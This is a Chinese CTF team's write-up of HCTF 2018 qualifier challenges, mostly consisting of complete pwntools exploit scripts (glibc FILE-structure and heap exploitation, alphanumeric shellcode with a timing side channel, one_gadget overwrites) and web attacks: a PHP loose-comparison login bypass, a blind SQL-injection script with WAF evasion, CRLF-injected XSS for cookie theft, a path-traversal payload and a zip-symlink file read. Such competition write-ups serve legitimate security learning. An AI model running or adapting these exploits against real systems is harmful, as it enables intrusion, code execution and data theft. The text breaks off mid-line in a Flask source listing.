我们是Eur3kA战队,也是联合战队r3kapig的r3ka,我们成立于HCTF 2017 Qual 前夕并夺得HCTF 2017 Qual冠军。这周末我们参与了HCTF 2018 Qual并成功卫冕。
我们战队长期招新,尤其是misc/crypto/web方向,我们非常期待新的大佬加入并一起冲击明年的DEFCON CTF。感兴趣的大佬请联系[email protected]。
给了binary的地址,又可以控制stdout
, 为所欲为啊
from pwn import *
local=0
pc='./babyprintf_ver2'
remote_addr=['150.109.44.250',20005]
aslr=True
context.log_level=True
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
ru("location to ")
codebase=int(rl().strip("\n"),16)-0x202010
buf=codebase+0x202010
lg("Code base",codebase)
fake_stdout=p64(0xfbad2084)+p64(0)*8
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x1)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)
fake_stdout=fake_stdout.ljust(216,'\x00')
#fake_stdout+=p64(buf+0x20+224)
fake_stdout+=cyclic(0x40)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
raw_input()
#sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(buf+0x200-0x10)*7+p64(buf+0x201-0x10)*1)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
raw_input()
off=0x2020b4
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(buf+0x30)+p64(buf+0x200))
raw_input()
libc_addr=u64(ru("caaadaaa")[-16:-8])
libc.address=libc_addr-0x3e82a0
malloc_hook=libc.symbols['__malloc_hook']
print(hex(malloc_hook))
lg("libc",libc_addr)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad2887)+p64(0)*8)
raw_input()
p.clean()
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+p64(0xfbad3c80)+p64(0)*3+p64(libc.symbols['environ'])+p64(libc.symbols['environ']+0x8)[0:7])
stack_addr=u64(rv(8))
lg("stack addr",stack_addr)
raw_input()
fake_stdout=p64(0xfbad3c80)+p64(stack_addr-0x980)*7+p64(stack_addr-0x980+0x8)
#fake_stdout=p64(0xfbad3c80)+p64(buf+0x20+0xd8)*7+p64(buf+0x20+0xd8+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x0)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)+p64(0xffffffffffffffff)
fake_stdout=fake_stdout.ljust(216,'\x00')
#fake_stdout+=p64(buf+0x20+224)
fake_stdout+=cyclic(0x100)
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout)
print("Go")
raw_input()
sl(p64(libc.address+0x4f322))
p.interactive()
raw_input()
fake_stdout=p64(0xfbad2084)+p64(0)*8
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p64(0x1)
fake_stdout=fake_stdout.ljust(0x88,'\x00')
fake_stdout+=p64(buf+0x300)
fake_stdout=fake_stdout.ljust(216,'\x00')
sl("A"*0x10+p64(buf+0x20)+'\x00'*0x8+fake_stdout+cyclic(64)+p64(0xdeadbeef))
p.interactive()
知道了scanf
可以触发malloc
后,利用off by one
把size
改小加上malloc consolidate
来构造overlap chunk
,最后house of orange
(写了半小时,脚本有点乱)
from pwn import *
local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True
context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("Choice:",str(idx))
def add(size,content):
choice(1)
sla(":",str(size))
sa(":",content)
def view(idx):
choice(2)
sla(":",str(idx))
def free(idx):
choice(3)
sla(":",str(idx))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
add(0x18,"AAA\n")
for i in range(24):
add(0x38,"A"*8+str(i)+"\n")
free(0)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
sla("Choice:","1"*0x500)
add(0x38,"B"*0x30+p64(0x120))
add(0x38,"C"*0x30+p32(0x40)+'\n')
add(0x38,"P"*0x30+'\n')
free(4)
sla("Choice:","1"*0x500)
free(10)
sla("Choice:","1"*0x500)
add(0x38,"DDD\n")
add(0x38,"KKK\n")
add(0x38,"EEE\n")
view(5)
ru("Content: ")
libc_addr=raddr(6)-0x3c4b78
libc.address=libc_addr
lg("libc addr",libc_addr)
add(0x38,"GGG\n")
free(10)
free(11)
free(5)
view(8)
ru("Content: ")
heap=raddr(6)-0x2a0
lg("heap addr",heap)
for i in range(6):
free(23-i)
fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
add(0x38,fake_struct+'\n')
free(17)
add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x28,"DDD\n")
add(0x28,p64(0)+p64(0x41)+"\n")
free(6)
add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
add(0x28,'aa'+'\n')
p.interactive()
用到了realpath的libc洞,往前改,改了下prev size和next chunk的size(00,所以prev not inuse),最后unlink,
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
p.ru('token:')
p.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH, env={'LD_PRELOAD': './libc-2.23.so'})
def mkfile(p, name, content):
p.ru('$ ')
p.sl('mkfile %s' % name)
p.ru('something:')
p.sl(content)
def mkdir(p, path):
p.ru('$ ')
p.sl('mkdir %s' % path)
def cat(p, path):
p.ru('$ ')
p.sl('cat %s' % path)
return p.rl().strip()
def main():
# Your exploit script goes here
p.ru('name: ')
p.sl('(unreachable)')
# leak libc
mkfile(p, '(unreachable)/tmp', 'a' * (0x100 - 1) + '/')
mkfile(p, 'buf%d' % 1, str(1) * 0xf0)
mkfile(p, 'buf%d' % 2, str(2) * 0xf0)
payload = p64(0) + p64(0x101) + p64(0x603180 - 0x18) + p64(0x603180 - 0x10)
payload = payload.ljust(0xf0, '3')
mkfile(p, 'buf%d' % 3, str(3) * 0xf0)
libc_addr = u64(cat(p, '(unreachable)/tmp')[0x100:].strip('\x0a').ljust(8, '\x00'))
libc_base = libc_addr - 0x3c5620
mkfile(p, 'buf3', payload)
p.info('libc base 0x%x' % libc_base)
for i in range(8):
payload = '../../' + 'x' * (8 - i)
mkdir(p, payload)
payload = '../../' + chr(0x10) + chr(0x1)
mkdir(p, payload)
mkdir(p, '../../')
mkfile(p, 'test', 'test')
mkfile(p, 'buf3', 'a' * 0x18 + p64(0x603060) + p32(0x100)[:3]) # opendir
libc = ELF('./libc-2.23.so')
system_addr = libc_base + libc.symbols['system']
if DEBUG:
gdb.attach(p.pid, gdbscript='b *0x401a64')
mkfile(p, 'buf3', p64(system_addr))
p.sl('ls /bin/sh')
p.irt()
if __name__ == '__main__':
main()
需要用alphanumeric的shellcode去调用dlopen的函数,比较麻烦,所幸找到了encoder:https://github.com/SkyLined/alpha3
encoder直接用不了(因为针对windows),改动一下之后,因为base addr的问题,加上42 (sxor rax, '2'),修正base,就可以用了。
剩下的asm就是直接dlopen -> dlsym(环境一样可以找到),不过由于没有输出,只能侧信道,通过死循环判断是否成功,二分法一下搞定。yix
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['lxterminal', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
PAYLOAD = '''
mov eax, 0x66666866
sub eax, 0x66666066
add rsp, rax
mov eax, 0x10703078
sub eax, 0x10101010
mov r12, [rax]
mov eax, 0x101010E0
sub eax, 0x10101010
lea r13, [r12 + rax]
xor esi, esi
inc esi
push 0x6F732E67
mov rax, 0x616C6662696C2F2E
push rax
lea rdi, [rsp]
call r12
mov rdi, rax
mov rax, 0x101010474343416F
mov rdx, 0x1010101010101010
sub rax, rdx
push rax
mov rax, 0x7365795F67616C66
push rax
lea rsi, [rsp]
call r13
call rax
cmp byte ptr ds:[rax+{0}], {1}
die:
jg die
int3
'''
def get_shellcode(idx, ch):
payload = PAYLOAD.format(hex(idx), hex(ord(ch)))
shellcode = asm(payload)
with process('python2 alpha3/ALPHA3.py x64 ascii mixedcase RAX'.split()) as alpha:
alpha.s(shellcode)
alpha.shutdown()
encoded = alpha.r().strip()
return encoded
def is_greater(idx, ch):
with remote(HOST, PORT) as r:
#with process('./christmas') as r:
r.ru('token:')
r.sl('DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
r.ru('find it??\n')
r.sl(get_shellcode(idx, ch))
try:
r.rl(timeout=1)
except:
print('%d th is not greater than %s' % (idx, ch))
return False
print('%d th is greater than %s' % (idx, ch))
return True
def main():
# Your exploit script goes here
flag = ''
for i in range(0x20):
l = 0x10
r = 0x7f
while l < r:
mid = (l + r) // 2
if is_greater(i, chr(mid)):
l = mid + 1
else:
r = mid
flag += chr((l + r) // 2)
print('get flag %d th: %s' % (i, flag[-1]))
print('flag now %s' % flag)
#print(is_greater(0, 'i'))
if __name__ == '__main__':
main()
题目首先给了libc地址,然后就是任意5字节写。
首先利用1个字节将stdout的vtable移动到存在libc地址的位置。
然后利用3个字节将该位置的libc地址改成one_gadget的地址。
最后利用1个字节修改stdout+0x28过check,在exit之后调用。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
# https://github.com/matrix1001/welpwn
if os.path.exists('./welpwn') != True:
print("Verify that welpwn is in the current directory")
exit()
sys.path.insert(0,os.getcwd()+'/welpwn')
from PwnContext.core import *
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
st = lambda delim,data :ctx.sendthen(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def to_write(addr,val):
s(p64(addr))
sleep(0.1)
s(p8(val))
debugg = 0
logg = 0
ctx.binary = './the_end'
#ctx.remote_libc = '/vm_share/libc64.so' # /glibc/2.24/lib/libc-2.24.so
#ctx.debug_remote_libc = True # this is by default
ctx.remote = ('150.109.46.159', 20002)
#ctx.bases.libc
#ctx.symbols = {'sym1':0x1234, 'sym2':0x5678}
#ctx.breakpoints = [0x964]
#ctx.debug()
if debugg:
rs()
else:
rs(method = 'remote')
sla('token:','DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j')
if logg:
context.log_level = 'debug'
ru('gift ')
libc_base = int(ru(','),16) - 0xcc230
log.success("libc_base = %s"%hex(libc_base))
tls = libc_base + 0x5d5700
log.success("tls = %s"%hex(tls))
one = libc_base + 0xf02a4
log.success("one = %s"%hex(one))
vtable = libc_base + 0x3c56f8
log.success("vtable = %s"%hex(vtable))
io_stdout = libc_base + 0x3c5620
log.success("io_stdout = %s"%hex(io_stdout))
target = libc_base + 0x3c44e0 + 0x18
log.success("target = %s"%hex(target))
to_write(target,one&0xff)
to_write(target+1,(one>>8)&0xff)
to_write(target+2,(one>>16)&0xff)
to_write(vtable+1,(target>>8)&0xff)
to_write(io_stdout+0x28,0xff)
irt()
www.zip可以下载到web源码,然后阅读源码,发现include/member.php提取了$_COOKIE['login_data']用于登录验证
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
这里密码判断用的是“==”可以用数字与字符串弱等于绕过,构造json串,其中密码从数字0开始爆破即可,爆破到65的时候成功登入。
login_data为
{"admin_user":"admin","admin_pass":65}
然后这里的username还可以注入,不过有waf拦截,因此需要绕过,需要注意的是or也被过滤了,因此information_schema不能用,所以需要用mysql.innodb_table_stats来查数据库名表名,发现F1444g表,不过不知道列名,这里用*发现就可以了,应该是只有一列,exp如下:
import requests
dic = list('1234567890abcdefghijklmnopqrstuvwxyz[]<>@!-~?=_()*{}#. /')
ans = ''
for pos in range(1,1000):
flag = 1
for c in dic:
payload = "admin'and(strcmp(right((select/**/*/**/from/**/F1444g/**/limit/**/0,1),%d),'%s'))||'"%(pos,c+ans)
cookies = {'islogin':'1','PHPSESSID':'olvurpb8sqldthvnetdd0elf65','login_data':'{"admin_user":"%s","admin_pass":65}'%payload}
resp = requests.get("http://kzone.2018.hctf.io/include/common.php",cookies=cookies)
if 'Set-Cookie' in resp.headers:
ans = c+ans
print(ord(c))
flag=0
break
if flag:
break
print("--"+ans+"--")
在http://admin.2018.hctf.io/change的页面源码里发现提示
<!-- https://github.com/woadsl1234/hctf_flask/ -->
下载到源码,发现每次注册或者是登录的时候都会先将用户名转化成小写,另外修改密码的时候会取session['name']并转化为小写,然后根据转化后的用户名更改密码,调用的函数是:
def strlower(username):
username = nodeprep.prepare(username)
return username
网上搜索得知,这个函数在处理unicode字符时有一些问题,例如\u1d35即ᴵ,经过这个函数会变成大写字母I,然后再调用一下就会变成小写字母i,所以思路就明显了,注册一个admᴵn的账号,登录进去修改admin的密码,然后再登录即可
根据题目提示,搜到bottle的crlf注入,开始bot是挂的,所以一直打不到东西,后来bot好了就行了。直接crlf首先注入一个CSP头部覆盖调已有的,然后注入xss向量即可,中间还需要注一个content-type头部,不然xss向量不解析。网上找到p牛的文章中的exp改一下就行了,exp如下:
成功打到cookie
有个文件读取,结合源码中的提示source.php,得到源码,然后复制了一段网上搜索源码,发现基本就和网上phpmyadmin的洞https://blog.csdn.net/nzjdsds/article/details/81260335是一样的,拿文章的payload一试即可:
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
随便输个不是admin的用户名即可进后台,然后上传zip,后台会输出zip内的文件内容。试了下压缩软连接文件,可以读文件,/proc/self/environ
,能读到uwsgi配置文件
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=323a960bcc1a
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=
发现web目录,
接着读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
发现主文件/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
阅读源码:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path